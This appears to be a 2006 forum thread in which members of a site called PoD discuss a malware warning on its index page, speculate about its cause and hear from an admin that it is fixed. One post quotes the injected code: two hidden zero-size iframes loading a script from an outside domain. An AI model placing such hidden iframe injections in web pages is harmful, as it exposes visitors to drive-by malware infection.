Virus on PoD fixed!

totokan · Post by **totokan** » Sat Oct 07, 2006 1:36 pm

Yeah, well it's only afflicting you on your pc's.

Post by **marshallh** » Sat Oct 07, 2006 1:39 pm

I downloaded the index page, and everything seems fine, except after the closing HTML tag, there's an iframe that loads something from sun5.org (registered in Hong Kong):

Code: Select all

<iframe src="http://sun-5.org/in.cgi?2" width=0px height=0px></iframe><iframe src="http://sun-5.org/in.cgi?2" width=0px height=0px></iframe>

When I went to the sun-5.org/ in.cgi?2 address, Firefox locked up and my computer slowed down to a halt. I wasn't able to open taskmgr so I just pulled the plug.

No ill effects so far, but this does make me suspiscous.

blackbox_dev · Post by **blackbox_dev** » Sat Oct 07, 2006 1:40 pm

This is strange...

It seems to be fine now... but I'll keep you guys updated. Also, don't forget to post if it happens to you!

Meh · Post by **Meh** » Sat Oct 07, 2006 2:46 pm

totokan wrote:Yeah, well it's only afflicting you on your pc's.

Iam, its effecting me too. x-joy.info Just said transferring info. I pressed stop and now my pc is running slow, then normal, then slow. I'll do a full scan in a min. I guess I just screwed my nice clean windows install

Damn norton not picking it up.

edit: 7805, could you get the process name it assumes?

blackbox_dev · Post by **blackbox_dev** » Sat Oct 07, 2006 2:55 pm

Ok, it happened again. Here's a screenshot to prove it:

Clicky.

demonofaj · Post by **demonofaj** » Sat Oct 07, 2006 3:36 pm

Hang on, I think this may be a 'mystery'. Either a bot: remember way back, when some bot screwed around and wrote: I have a business...etc. in the Book Forum. One thing predominant in that thread was China, and a business deal there. Maybe it's a same bot acting through a same host? Or maybe some vengeful scheme by a prior member

Klefmung · Post by **Klefmung** » Sat Oct 07, 2006 3:41 pm

whoever put that there would have to have access to edit the mainpage. There would have to be someone on the inside. Maybe your program is messed up?

blackbox_dev · Post by **blackbox_dev** » Sat Oct 07, 2006 3:44 pm

Klefmung wrote:whoever put that there would have to have access to edit the mainpage. There would have to be someone on the inside. Maybe your program is messed up?

It was detected on three different computers now. Two by Norton 2003, and one by AVG Free Edition.

jeroen · Post by **jeroen** » Sat Oct 07, 2006 3:46 pm

scary. I think it would be a wise idea if people didn't visted pod till this is solved.

Klefmung · Post by **Klefmung** » Sat Oct 07, 2006 3:47 pm

Got it: Only visit POD from computer apps class.

jeroen · Post by **jeroen** » Sat Oct 07, 2006 3:50 pm

Klefmung wrote:Got it: Only visit POD from computer apps class.

Super lol.

Timmy remember we agread on no more super wishes. Remember super kitty? And super toilet? Cosmo: Aaaaaaaaaaaaaaah

blackbox_dev · Post by **blackbox_dev** » Sat Oct 07, 2006 3:58 pm

Klefmung wrote:Got it: Only visit POD from computer apps class.

Yup.

Meh · Post by **Meh** » Sat Oct 07, 2006 4:01 pm

jeroen wrote:
Klefmung wrote:Got it: Only visit POD from computer apps class.
Super lol.

Timmy remember we agread on no more super wishes. Remember super kitty? And super toilet? Cosmo: Aaaaaaaaaaaaaaah

Sooooooo Much Clogging!!!

Post by **gannon** » Sat Oct 07, 2006 4:20 pm

Fixed, although I'm not sure how it happened unless the server itself had a virus get it. (No open file permision/ownership issues that I see)

Indigno · Post by **Indigno** » Sat Oct 07, 2006 4:53 pm

The pig thing from your Virus detector was enough to give me nightmares.